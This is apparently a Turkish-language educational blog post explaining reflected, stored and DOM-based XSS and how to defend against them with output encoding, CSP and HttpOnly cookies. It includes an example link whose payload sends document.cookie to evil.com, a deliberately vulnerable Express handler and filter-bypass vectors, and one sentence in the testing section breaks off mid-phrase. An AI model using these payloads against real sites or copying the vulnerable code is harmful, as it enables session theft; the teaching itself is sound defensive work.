arrow_backAlan notlarına dön
WEB SECURITY Yayınlandı 9 Aug 2026

Cross-Site Scripting: Neden XSS 2024'te Hâlâ Sorun Oluşturuyor

Reflected, stored ve DOM-based XSS'in pratik analizi, saldırganlar bunları nasıl sömürüyor ve bunları gerçekten nasıl durdurabilirsiniz.

XSS, OWASP Top 10'da iki on yıl boyunca yer alıyor ve pentester'ın kontrol ettiği ilk şeylerden biri. Bug açıklanması kolay ve tam olarak kapatılması zor: saldırgan kendi JavaScript kodunu kurbanın tarayıcısında sitenizin origin'i altında çalıştırıyor. Bu gerçekleşince, cookie'leri okuyabilir, istek sahte oluşturabilir veya sayfayı kullanıcının önünde yeniden yazabilir.

Üç çeşidi

Reflected XSS, klasik phishing-link saldırısıdır. Bir arama sayfası URL'den ?q= alıp bunu doğrudan HTML'ye encoding yapmadan yazdırır. Birinin https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> gibi bir link gönderin ve giriş yapmışken tıklarsa, oturum cookie'si saldırgana gider.

Stored XSS daha kötüdür çünkü link'e ihtiyaç duymaz. Bir yorum alanı, bir profil biyografisi, bir destek bileti açıklaması — kullanıcı girişinin kaydedildiği ve daha sonra diğer kullanıcılara gösterildiği herhangi bir yer. Payload'u bir kez gönderin ve bu sayfayı görüntüleyen her ziyaretçi etkilenir, sosyal mühendislik gerekli değildir.

DOM-based XSS tamamen istemci tarafı kodunda yaşar. Sunucu hiçbir zaman kötü amaçlı payload'u görmez; location.hash veya document.referrer gibi bir şeyi okuyan ve innerHTML veya eval() içine iten JavaScript'tir. Bu bir kişiyi aldatır çünkü sunucu tarafı logging tamamen temiz görünür.

Gerçekten nereden geliyor

Çoğu XSS bug'ı tek bir hataya bağlanır: güvenilmeyen verileri güvenilir markup veya kod olarak ele almak. JavaScript'te izlenecek yaygın sink'ler: innerHTML, outerHTML, document.write, eval, string argümanı ile setTimeout ve jQuery'nin .html(). Sunucu tarafında, varsayılan olarak auto-escape yapmayan template engine'ler (HTML'ye raw string concatenation) kullanılan durumdur.

Hızlı bir gerçek hayat örneği: yapan bir Node/Express uygulaması

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

anında reflected XSS'e sahiptir. req.query.name sıfır encoding ile doğrudan cevaba gider. /greet?name=<img src=x onerror=alert(document.domain)> ne vursa, bunu iki saniyede kanıtlar.

Gerçekten düzeltme

Context-aware output encoding gerçek düzeltmedir, bir geçici çözüm değil. HTML body, HTML attribute, JavaScript string ve URL context'leri her birine farklı encoding kuralları gerekir — OWASP Java Encoder gibi bir kütüphane veya Jinja2, React JSX veya Handlebars gibi template engine'lerin built-in auto-escaping'i bunu doğru şekilde işler. React özellikle text content'i varsayılan olarak escape eder, bu nedenle dangerouslySetInnerHTML bu şekilde adlandırılıyor: bu bir uyarı etiketidir.

Giriş doğrulaması yardımcı olur ama tek başına yeterli değildir. <script> tag'lerini reddetme sürekli bypass edilir — <img src=x onerror=...>, <svg onload=...> veya neredeyse tüm tag'lerdeki event handler'lar işe yarar. Beklenen format'ları allowlist'lemek (bir email regex, sayısal bir ID) ikinci bir layer olarak iyidir, ama doğru output encoding'i yerine geçmez.

Content-Security-Policy mevcut olan en güçlü defense-in-depth layer'ıdır. Şöyle bir policy

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

inline script'leri ve açıkça nonce'd veya allowlist'lenmediği sürece üçüncü taraf script kaynakları engeller, bu da encoding'i atlatsalar bile çoğu XSS payload'unun yürütülmesini durdurur. Üretim CSP'lerinde unsafe-inline ve unsafe-eval kaçının; koruma çoğunu ortadan kaldırırlar.

Cookie'leri HttpOnly ve Secure flag'leriyle ayarlayın böylece başarılı bir XSS bile document.cookie aracılığıyla oturum cookie'sini doğrudan okuyamaz. İnjeksiyonu durdurmuyor ama blast radiusünü önemli ölçüde sınırlıyor.

Kendiniz test etme

Burp Suite'in active scanner'ı reflect ve stored XSS'in çoğunu otomatik olarak yakalar, ama manual testing DOM-based durumlarda hâlâ önemlidir. DOMPurify'nin test suite'i gibi araçlar veya basitçe innerHTML = ve eval( için codebase'inizi grep'lemek hızlı şekilde şaşırtıcı sayıda bulgular ortaya çıkaracak. Manuel bir probe için, payload `

AI yardımıyla yazıldı, Michal Pilch (CISSP), Korra Studio tarafından incelendi ve yayınlandı.

Daha ileri gitmek için hazır mısın?

Bu, Korra Studio bilgi tabanından bir nottur — platform her konuyu 1-to-1 mentoring ile eşleştirir.

Ücretsiz başlaarrow_forward